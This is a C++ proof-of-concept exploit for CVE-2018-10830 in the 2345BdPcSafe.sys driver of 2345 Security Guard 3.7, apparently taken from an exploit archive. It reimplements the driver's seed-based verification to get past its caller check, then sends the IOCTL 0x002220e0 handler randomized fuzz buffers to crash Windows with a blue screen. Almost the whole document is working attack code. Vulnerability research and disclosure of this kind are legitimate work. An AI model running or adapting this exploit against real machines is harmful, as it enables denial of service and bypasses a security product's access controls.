332 lines
No EOL
7.2 KiB
C++
332 lines
No EOL
7.2 KiB
C++
# Exploit Title: [BSOD by IOCTL 0x002220e0 in 2345BdPcSafe.sys of 2345 Security Guard 3.7]
|
|
# Date: [20180509]
|
|
# Exploit Author: [anhkgg]
|
|
# Vendor Homepage: [http://safe.2345.cc/]
|
|
# Software Link: [http://dl.2345.cc/2345pcsafe/2345pcsafe_v3.7.0.9345.exe]
|
|
# Version: [v3.7] (REQUIRED)
|
|
# Tested on: [Windows X64]
|
|
# CVE : [CVE-2018- 10830]
|
|
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <time.h>
|
|
|
|
struct NETFW_IOCTL_ADD_PID
|
|
{
|
|
DWORD pid;
|
|
char seed[0x14];//4 + 14
|
|
};//0x18
|
|
|
|
#pragma pack(push)
|
|
#pragma pack(1)
|
|
struct NETFW_IOCTL_SET_PID
|
|
{
|
|
BYTE set_state;//
|
|
WORD buf_len;//1
|
|
DWORD pid;//3
|
|
char buf[0x64];//7
|
|
};//6B
|
|
#pragma pack(pop)
|
|
|
|
int __stdcall f_XOR__12A30(BYTE *a1, BYTE *a2)
|
|
{
|
|
BYTE *a1_; // eax
|
|
|
|
a1_ = a1;
|
|
*a1_ ^= *a2;
|
|
*a2 ^= *a1;
|
|
*a1_ ^= *a2;
|
|
return (int)a1_;
|
|
}
|
|
|
|
int __stdcall sub_12A80(char *a1, int len, char *a3)
|
|
{
|
|
int result;
|
|
unsigned __int8 v4;
|
|
__int16 i;
|
|
__int16 j;
|
|
unsigned __int8 k;
|
|
|
|
for (i = 0; i < 256; ++i)
|
|
a3[i] = i;
|
|
a3[256] = 0;
|
|
a3[257] = 0;
|
|
k = 0;
|
|
v4 = 0;
|
|
result = 0;
|
|
for (j = 0; j < 256; ++j)
|
|
{
|
|
v4 += a3[j] + a1[k];
|
|
f_XOR__12A30((BYTE*)&a3[j], (BYTE*)&a3[v4]);
|
|
result = (k + 1) / len;
|
|
k = (k + 1) % len;
|
|
}
|
|
return result;
|
|
}
|
|
|
|
char *__stdcall sub_12B60(char *a1, signed int len, char *a3)
|
|
{
|
|
char *v3; // esi
|
|
unsigned int v4; // ebx
|
|
unsigned __int8 result; // al
|
|
int v6; // edi
|
|
char *v7; // ST18_4
|
|
int v8; // [esp+14h] [ebp-8h]
|
|
int v9; // [esp+18h] [ebp-4h]
|
|
unsigned __int8 v10; // [esp+2Fh] [ebp+13h]
|
|
|
|
v3 = a3;
|
|
v4 = a3[256];
|
|
result = a3[257];
|
|
v9 = 0;
|
|
if (len > 0)
|
|
{
|
|
v6 = (unsigned __int8)v4;
|
|
v8 = 0;
|
|
while (1)
|
|
{
|
|
v4 = (v6 + 1) & 0x800000FF;
|
|
v6 = (unsigned __int8)v4;
|
|
v10 = v3[(unsigned __int8)v4] + result;
|
|
v7 = &v3[v10];
|
|
f_XOR__12A30((BYTE*)&v3[(unsigned __int8)v4], (BYTE*)v7);
|
|
a1[v8] ^= v3[(unsigned __int8)(v3[(unsigned __int8)v4] + *v7)];
|
|
v8 = (signed __int16)++v9;
|
|
if ((signed __int16)v9 >= len)
|
|
break;
|
|
result = v10;
|
|
}
|
|
result = v10;
|
|
}
|
|
v3[256] = v4;
|
|
v3[257] = result;
|
|
return (char *)result;
|
|
}
|
|
|
|
void calc_seed(char* seed, char* dst)
|
|
{
|
|
char Source1[26] = { 0 };
|
|
char a3[300] = { 0 };
|
|
|
|
Source1[0] = 8;
|
|
Source1[1] = 14;
|
|
Source1[2] = 8;
|
|
Source1[3] = 10;
|
|
Source1[4] = 2;
|
|
Source1[5] = 3;
|
|
Source1[6] = 29;
|
|
Source1[7] = 23;
|
|
Source1[8] = 13;
|
|
Source1[9] = 3;
|
|
Source1[10] = 15;
|
|
Source1[11] = 22;
|
|
Source1[12] = 15;
|
|
Source1[13] = 7;
|
|
Source1[14] = 91;
|
|
Source1[15] = 4;
|
|
Source1[16] = 18;
|
|
Source1[17] = 26;
|
|
Source1[18] = 26;
|
|
Source1[19] = 3;
|
|
Source1[20] = 4;
|
|
Source1[21] = 1;
|
|
Source1[22] = 15;
|
|
Source1[23] = 25;
|
|
Source1[24] = 10;
|
|
Source1[25] = 13;
|
|
|
|
sub_12A80(seed, 0x14, a3);
|
|
sub_12B60(Source1, 0x1A, a3);
|
|
memcpy(dst, Source1, 26);
|
|
}
|
|
|
|
BOOL BypassChk(HANDLE h)
|
|
{
|
|
DWORD BytesReturned = 0;
|
|
|
|
DWORD ctlcode = 0x222090;
|
|
NETFW_IOCTL_ADD_PID add_pid = { 0 };
|
|
add_pid.pid = GetCurrentProcessId();
|
|
|
|
if (!DeviceIoControl(h, ctlcode, &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &add_pid, sizeof(NETFW_IOCTL_ADD_PID), &BytesReturned, NULL)) {
|
|
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
ctlcode = 0x222094;
|
|
NETFW_IOCTL_SET_PID set_pid = { 0 };
|
|
set_pid.pid = GetCurrentProcessId();
|
|
set_pid.set_state = 1;
|
|
|
|
calc_seed(add_pid.seed, set_pid.buf);
|
|
set_pid.buf_len = 26;
|
|
|
|
if (!DeviceIoControl(h, ctlcode, &set_pid, sizeof(NETFW_IOCTL_SET_PID), &set_pid, sizeof(NETFW_IOCTL_SET_PID), &BytesReturned, NULL)) {
|
|
printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
HANDLE OpenDevice(char* path)
|
|
{
|
|
return CreateFileA(path,
|
|
GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
|
|
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
}
|
|
|
|
CHAR asciiString10[0x10];
|
|
CHAR asciiString100[0x100];
|
|
CHAR asciiString1000[0x1000];
|
|
WCHAR unicodeString10[0x10];
|
|
WCHAR unicodeString100[0x100];
|
|
WCHAR unicodeString1000[0x1000];
|
|
DWORD tableDwords[0x100];
|
|
|
|
DWORD FuzzConstants[] = {
|
|
0x00000000, 0x00000001, 0x00000004, 0xFFFFFFFF,
|
|
0x00001000, 0xFFFF0000, 0xFFFFFFFE, 0xFFFFFFF0,
|
|
0xFFFFFFFC, 0x70000000, 0x7FFEFFFF, 0x7FFFFFFF,
|
|
0x80000000,
|
|
(DWORD)asciiString10,
|
|
(DWORD)asciiString100,
|
|
(DWORD)asciiString1000,
|
|
(DWORD)unicodeString10,
|
|
(DWORD)unicodeString100,
|
|
(DWORD)unicodeString1000,
|
|
(DWORD)tableDwords
|
|
};
|
|
|
|
/* Period parameters */
|
|
#define N 624
|
|
#define M 397
|
|
#define MATRIX_A 0x9908b0dfUL /* constant vector a */
|
|
#define UPPER_MASK 0x80000000UL /* most significant w-r bits */
|
|
#define LOWER_MASK 0x7fffffffUL /* least significant r bits */
|
|
|
|
static unsigned long mt[N]; /* the array for the state vector */
|
|
static int mti = N + 1; /* mti==N+1 means mt[N] is not initialized */
|
|
|
|
/* initializes mt[N] with a seed */
|
|
void init_genrand(unsigned long s)
|
|
{
|
|
mt[0] = s & 0xffffffffUL;
|
|
for (mti = 1; mti < N; mti++) {
|
|
mt[mti] =
|
|
(1812433253UL * (mt[mti - 1] ^ (mt[mti - 1] >> 30)) + mti);
|
|
/* See Knuth TAOCP Vol2. 3rd Ed. P.106 for multiplier. */
|
|
/* In the previous versions, MSBs of the seed affect */
|
|
/* only MSBs of the array mt[]. */
|
|
/* 2002/01/09 modified by Makoto Matsumoto */
|
|
mt[mti] &= 0xffffffffUL;
|
|
/* for >32 bit machines */
|
|
}
|
|
}
|
|
|
|
/* generates a random number on [0,0xffffffff]-interval */
|
|
unsigned long genrand_int32(void)
|
|
{
|
|
unsigned long y;
|
|
static unsigned long mag01[2] = { 0x0UL, MATRIX_A };
|
|
/* mag01[x] = x * MATRIX_A for x=0,1 */
|
|
|
|
if (mti >= N) { /* generate N words at one time */
|
|
int kk;
|
|
|
|
if (mti == N + 1) /* if init_genrand() has not been called, */
|
|
init_genrand(5489UL); /* a default initial seed is used */
|
|
|
|
for (kk = 0; kk < N - M; kk++) {
|
|
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
|
|
mt[kk] = mt[kk + M] ^ (y >> 1) ^ mag01[y & 0x1UL];
|
|
}
|
|
for (; kk < N - 1; kk++) {
|
|
y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK);
|
|
mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ mag01[y & 0x1UL];
|
|
}
|
|
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK);
|
|
mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ mag01[y & 0x1UL];
|
|
|
|
mti = 0;
|
|
}
|
|
|
|
y = mt[mti++];
|
|
|
|
/* Tempering */
|
|
y ^= (y >> 11);
|
|
y ^= (y << 7) & 0x9d2c5680UL;
|
|
y ^= (y << 15) & 0xefc60000UL;
|
|
y ^= (y >> 18);
|
|
|
|
return y;
|
|
}
|
|
|
|
unsigned long getrand(unsigned long min, unsigned long max)
|
|
{
|
|
return (genrand_int32() % (max - min + 1)) + min;
|
|
}
|
|
|
|
//3.7.0.2860
|
|
int poc_2345NetFirewall()
|
|
{
|
|
|
|
DWORD BytesReturned = 0;
|
|
|
|
HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
|
|
if (h == INVALID_HANDLE_VALUE) {
|
|
printf("[-] Open device error: %d\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
if (!BypassChk(h)) {
|
|
printf("[-] error!");
|
|
return 1;
|
|
}
|
|
|
|
DWORD ctlcode = 0x002220e0;
|
|
BYTE bufInput[0x10000] = { 0 };
|
|
BYTE bufOutput[0x10000] = { 0 };
|
|
|
|
srand(time(NULL));
|
|
int count = 0;
|
|
while (count++ < 1000) {
|
|
// Choose a random length for the buffer
|
|
size_t randomLength = getrand(4, 0x400);
|
|
|
|
for (int i = 0; i < randomLength; i = i + 4) {
|
|
int fuzzData = FuzzConstants[getrand(0, (sizeof(FuzzConstants) / 4) - 1)];
|
|
|
|
// Choose a random element into FuzzConstants
|
|
bufInput[i] = fuzzData & 0x000000ff;
|
|
bufInput[i + 1] = (fuzzData & 0x0000ff00) >> 8;
|
|
bufInput[i + 2] = (fuzzData & 0x00ff0000) >> 16;
|
|
bufInput[i + 3] = (fuzzData & 0xff000000) >> 24;
|
|
}
|
|
|
|
DeviceIoControl(h,
|
|
ctlcode,
|
|
bufInput,
|
|
randomLength,
|
|
bufOutput,
|
|
0,
|
|
&BytesReturned,
|
|
NULL);
|
|
|
|
Sleep(10);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
int main()
|
|
{
|
|
poc_2345NetFirewall();
|
|
|
|
printf("poc failed!\n");
|
|
|
|
getchar();
|
|
|
|
return 0;
|
|
} |